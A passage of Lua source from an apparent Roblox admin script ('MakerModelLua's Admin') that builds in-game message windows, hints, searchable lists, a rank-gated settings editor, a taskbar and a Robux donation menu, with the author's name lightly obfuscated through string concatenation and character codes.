4018 local FormBar = Frame.Parent.Parent.FormBar
4019 local Said = false
4020 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4021 if Settings.EnableTaskBar then
4022 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4023 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4024 else
4025 Speak.Position = UDim2.new(1, -58, 0, 5)
4026 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4027 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4028 end
4029 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4030 if not Said then
4031 Said = true
4032 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4033 end
4034 end)
4035
4036 if TextColor then
4037 Body.TextColor3 = TextColor
4038 else
4039 Body.TextColor3 = Color3.new(1,1,1)
4040 end
4041
4042 if tonumber(Time) then coroutine.wrap(function()
4043 if AutoTime then
4044 Time = Time + math.floor(#BodyText/7)
4045 end
4046 local Alive = true
4047
4048 local function StopTimer() Alive = false end
4049 Closed.Event:connect(StopTimer)
4050 Minimized.Event:connect(StopTimer)
4051
4052 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4053 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4054 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4055 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4056 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4057 for i = Time,0,-1 do
4058 for ii = 1,10 do
4059 if Alive == true then
4060 Ticker.Text = i
4061 wait(0.1)
4062 else
4063 break
4064 end
4065 end
4066 end
4067 if Alive == true then
4068 Close:Invoke()
4069 else
4070 Ticker:Destroy()
4071 Stop:Destroy()
4072 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4073 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4074 end
4075 end)() end
4076
4077 CORE:ExecuteResource("CalculateScrollY", Body)
4078 end
4079end
4080
4081function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4082 if not Player then return nil end
4083 if not Player:IsA("Player") then return nil end
4084 if BodyText == "" then return nil end
4085 if not Player:FindFirstChild("PlayerGui") then return nil end
4086 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4087 local TextColor = GUI:ContrastColor()
4088 if Error then TextColor = Color3.new(1,0,0) end
4089
4090 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4091 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4092
4093 CORE:ExecuteResource("CalculateScrollY", Body)
4094
4095 return Frame, Close, Closed, Minimize, Minimized
4096end
4097
4098function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4099 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4100 local TweenTime = 0.5
4101 if not Time then Time = 5 end
4102 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4103 local MaxPos = -1
4104 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4105 local IVal = SGObj:FindFirstChild("Index")
4106 if IVal then
4107 MaxPos = math.max(MaxPos, IVal.Value)
4108 end
4109 end
4110 MaxPos = MaxPos + 1
4111 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4112 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4113 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4114 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4115 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4116 SG.Parent = Player.PlayerGui
4117
4118 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4119 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4120
4121 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4122 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4123 Delay(TweenTime, function()
4124 for i = 1,0,-0.1 do
4125 Body.TextTransparency = i
4126 wait()
4127 end
4128 Body.TextTransparency = 0
4129 end)
4130 Delay(TweenTime + Time, function()
4131 for i = 0,1,0.1 do
4132 Body.TextTransparency = i
4133 wait()
4134 end
4135 Body.TextTransparency = 1
4136 local Done = false
4137 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4138 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4139 end)
4140
4141end)() end
4142
4143function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4144 if not Player then return nil end
4145 if not Player:FindFirstChild("PlayerGui") then return nil end
4146 if not PreSearch then PreSearch = "" end
4147 if AutoNumber == nil then AutoNumber = true end
4148
4149 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4150 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4151 SearchBar.Parent = Frame.Parent
4152 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4153 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4154
4155 local SearchVer = 0,nil
4156 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4157 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4158 local InDialog = false
4159
4160 local function ShowResults(Key)
4161 SearchVer = SearchVer + 1
4162 local ThisSearchVer = SearchVer
4163
4164 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4165 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4166
4167 local NumPos,Num = 0,1
4168
4169 for _,Data in pairs(List) do
4170 if ThisSearchVer ~= SearchVer then
4171 break
4172 end
4173 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4174 if String then
4175 local ImageIcon = nil
4176 if type(Data) == "table" then
4177 String = Data[1]
4178 ImageIcon = Data[2]
4179 end
4180
4181 local TextColor = GUI:ContrastColor()
4182 local StringSplit = STRING:GetSplit(String, 1, " ")
4183 local NewColor = GUI:GetColor(StringSplit[1])
4184 if NewColor then TextColor = NewColor String = StringSplit[2] end
4185
4186 if string.find(string.lower(String), string.lower(Key)) then
4187 Spacer = false
4188 local Font = Settings.Font
4189 local Split = STRING:GetSplit(String, 1, " ")
4190 if string.sub(string.lower(String),1,6) == "bold: " then
4191 Font = "ArialBold"
4192 String = string.sub(String,7)
4193 elseif Fonts[Split[1]] then
4194 Font = Split[1]
4195 String = Split[2]
4196 end
4197 if string.sub(String,1,2) == "--" then
4198 Spacer = true
4199 end
4200 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4201 if ImageIcon then
4202 if tonumber(ImageIcon) then
4203 ImageIcon = "rbxassetid://"..ImageIcon
4204 elseif Icons[ImageIcon] then
4205 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4206 end
4207
4208 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4209 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4210 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4211 Content.Text = ""
4212 NumPos = NumPos + 90
4213 else
4214 NumPos = NumPos + 30
4215 end
4216
4217 if not Clickable then
4218 Content.AutoButtonColor = false
4219 Content.Active = false
4220 Content.BackgroundTransparency = 1
4221 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4222 SOUND:BindButton(Content)
4223 CORE:HandleEvent(Content, "MouseButton1Down", function()
4224 if not InDialog then
4225 Clicked:Fire(String)
4226 end
4227 end, true)
4228 end
4229 if Spacer == false then Num = Num + 1 end
4230 end
4231 end
4232 end
4233 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4234 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4235 end
4236
4237 RequestDialog.OnInvoke = function(RequestDialogCall)
4238 InDialog = RequestDialogCall
4239 end
4240
4241 ShowResults(PreSearch)
4242
4243 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4244 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4245 if Prop == "Text" then
4246 local Text = CORE:ReadProperty(RPR, Player, "Text")
4247 ShowResults(Text)
4248 Frame.CanvasPosition = Vector2.new(0,0)
4249 end
4250 end)
4251
4252 return Clicked, RequestDialog, Close
4253end
4254
4255function GUI:PropertyGui(Player, Title, Icon, Properties)
4256 if not Player then return nil end
4257 if not Player:FindFirstChild("PlayerGui") then return nil end
4258 if type(Properties) ~= "table" then return nil end
4259 local HasClosed = false
4260 local NewProperties = {}
4261
4262 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4263 Frame.ClipsDescendants = true
4264 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4265
4266 for PropertyName,Data in pairs(Properties) do
4267 NewProperties[PropertyName] = Data[1]
4268 end
4269
4270 local YCount = 0
4271
4272 for PropertyName,Data in pairs(Properties) do
4273 if type(Data) == "table" then
4274 local DefaultValue = Data[1]
4275 local Writable = Data[2]
4276 local ValueType = Data[3]
4277
4278 if Writable == nil then Writable = false end
4279 if type(ValueType) == "string" then -- now this is confusing
4280 ValueType = string.lower(ValueType)
4281 elseif ValueType == nil then
4282 ValueType = type(DefaultValue)
4283 end
4284
4285 if ValueType == "nil" or ValueType == "userdata" then
4286 ValueType = nil
4287 elseif ValueType == "table" then
4288 DefaultValue = STRING:UnpackArgs(DefaultValue)
4289 ValueType = "string"
4290 end
4291
4292 if ValueType then
4293 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4294 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4295 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4296
4297 if ValueType == "string" or ValueType == "number" then
4298 if Writable == true then
4299 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4300 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4301 if ValueType == "number" then
4302 NewProperties[PropertyName] = tonumber(Input.Text)
4303 else
4304 NewProperties[PropertyName] = tostring(Input.Text)
4305 end
4306 end end)
4307 else
4308 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4309 end
4310 end
4311 if ValueType == "boolean" then
4312 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4313 if DefaultValue == true then
4314 Check.Image = "rbxassetid://48138491"
4315 end
4316 if Writable == true then
4317 CORE:HandleEvent(Check, "MouseButton1Down", function()
4318 local NewVal = not NewProperties[PropertyName]
4319 NewProperties[PropertyName] = NewVal
4320 if NewVal == true then
4321 Check.Image = "rbxassetid://48138491"
4322 else
4323 Check.Image = "rbxassetid://48138474"
4324 end
4325 end)
4326 else
4327 Check.ImageTransparency = 0.5
4328 end
4329 end
4330 YCount = YCount + 50
4331 end
4332 end
4333 end
4334
4335 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4336
4337 Closed.Event:connect(function() HasClosed = true end)
4338
4339 repeat wait(0.1) until HasClosed
4340 return NewProperties
4341end
4342
4343function GUI:SettingsGui(Player)
4344 if not Player then return nil end
4345 local CloneViewSettings,CanChange = {},false
4346
4347 local ViewSettings = {
4348 ["Version"] = {CORE.Version.Value, false, nil};
4349 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4350 ["Font"] = {Settings.Font, 3, "Font"};
4351 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4352 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4353 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4354 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4355 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4356 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4357 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4358 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4359 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4360 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4361 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4362 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4363 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4364 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4365 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4366 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4367 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4368 ["Bet"] = {Settings.Bet, 3, "Bet"};
4369 }
4370
4371 local _,RankNum = RANK:GetRank(Player)
4372 if RankNum >= 3 then
4373 CanChange = true
4374 end
4375
4376 for Prop,Data in pairs(ViewSettings) do
4377 local Writable = false
4378 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4379 CloneViewSettings[Prop] = {Data[1], Writable}
4380 end
4381
4382 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4383 if CanChange then
4384 for Prop,Data in pairs(ViewSettings) do
4385 if Data[3] then
4386 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4387 end
4388 end
4389 CORE:FixSettings()
4390 end
4391end
4392
4393function GUI:MessageAdmins(TitleText, BodyText, Icon)
4394 for _,Player in pairs(Server.Players:GetPlayers()) do
4395 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4396 if PlayerAdmin then
4397 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4398 end
4399 end
4400end
4401
4402function GUI:TellAdmin(Player)
4403 if not Player then return end
4404
4405 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4406 if ValidAdmin == true then
4407 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4408 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4409 local SoundID = 237866523
4410 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4411 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4412 Sound:Play()
4413 coroutine.wrap(function()
4414 wait(4)
4415 Sound:Stop()
4416 Sound:Destroy()
4417 end)()
4418 end
4419 end
4420end
4421
4422function GUI:TellNotAdmin(Player)
4423 if not Player then return end
4424
4425 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4426end
4427
4428function GUI:CreateTaskBar(Player)
4429 if not Player then return nil end
4430 if Settings.EnableTaskBar == false then return nil end
4431 Player:WaitForChild("PlayerGui")
4432 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4433 if SG then SG:Destroy() end
4434 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4435 local IsMoving = false
4436 local TaskBarShown = false
4437 local Tasks = {}
4438
4439 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4440 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4441
4442 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4443 local Open,CloseForm = false,nil
4444 if Settings.EnableAdminMenu then
4445 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4446 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4447 if Open == false then
4448 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4449 Open,CloseForm = true,Close
4450
4451 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4452 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4453 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4454 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4455 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4456 local function DonateMoney(Type, Element)
4457 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4458 local Get = Request[Type]
4459 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4460 Server.MPS:PromptPurchase(Player, Get[1], true)
4461 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4462 Server.MPS:PromptPurchase(Player, Get[2], true)
4463 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4464 Server.MPS:PromptPurchase(Player, Get[3], true)
4465 else
4466 Element.Text = "Cannot get request"
4467 end
4468 end
4469 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4470 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4471 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4472 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4473 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4474 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4475
4476 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4477
4478 if Closed then
4479 Closed.Event:connect(function()
4480 Open = false
4481 end)
4482 end
4483 else
4484 CloseForm:Invoke()
4485 end
4486 end) end)()
4487 if RANK:GetRank(Player) == "Owner" then
4488 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4489 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4490 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4491 if HUDSG then
4492 HUDSG:Destroy()
4493 else
4494 GUI:CreateHUD(Player)
4495 end
4496 end)
4497 end
4498 end
4499
4500 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4501 if IsMoving == false then
4502 if TaskBarShown == true then
4503 TaskBarShown = false
4504 IsMoving = true
4505 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4506 else
4507 TaskBarShown = true
4508 IsMoving = true
4509 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4510 end
4511 end
4512 end)
4513
4514 local function ReloadIcons()
4515 for Num,Data in pairs(Tasks) do
4516 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4517 end
4518 end
4519
4520 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4521 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4522 table.insert(Tasks, {Form, Icon})
4523 local CanClick = true
4524 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4525 if Form.IsActive.Value == false then
4526 Restore:Invoke()
4527 elseif CanClick == true then
4528 coroutine.wrap(function()
4529 CanClick = false
4530 local DefPos = Form.Dragger.Position
4531 for i = 1,15 do
4532 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4533 wait(0.05)
4534 end
4535 Form.Dragger.Position = DefPos
4536 CanClick = true
4537 end)()
4538 end
4539 end)
4540 ReloadIcons()
4541
4542 Closed.Event:connect(function()
4543 for Num,Data in pairs(Tasks) do
4544 if Data[1] == Form then
4545 Icon:Destroy()
4546 table.remove(Tasks, Num)
4547 end
4548 end
4549 ReloadIcons()
4550 end)
4551 end)
4552end
4553
4554function GUI:ShowDebtStats(Player, ManualText)
4555 local Text = ManualText
4556 if not ManualText then
4557 Text = "CANNOT GET STATISTICS"
4558 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4559 if RawPage then
4560 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
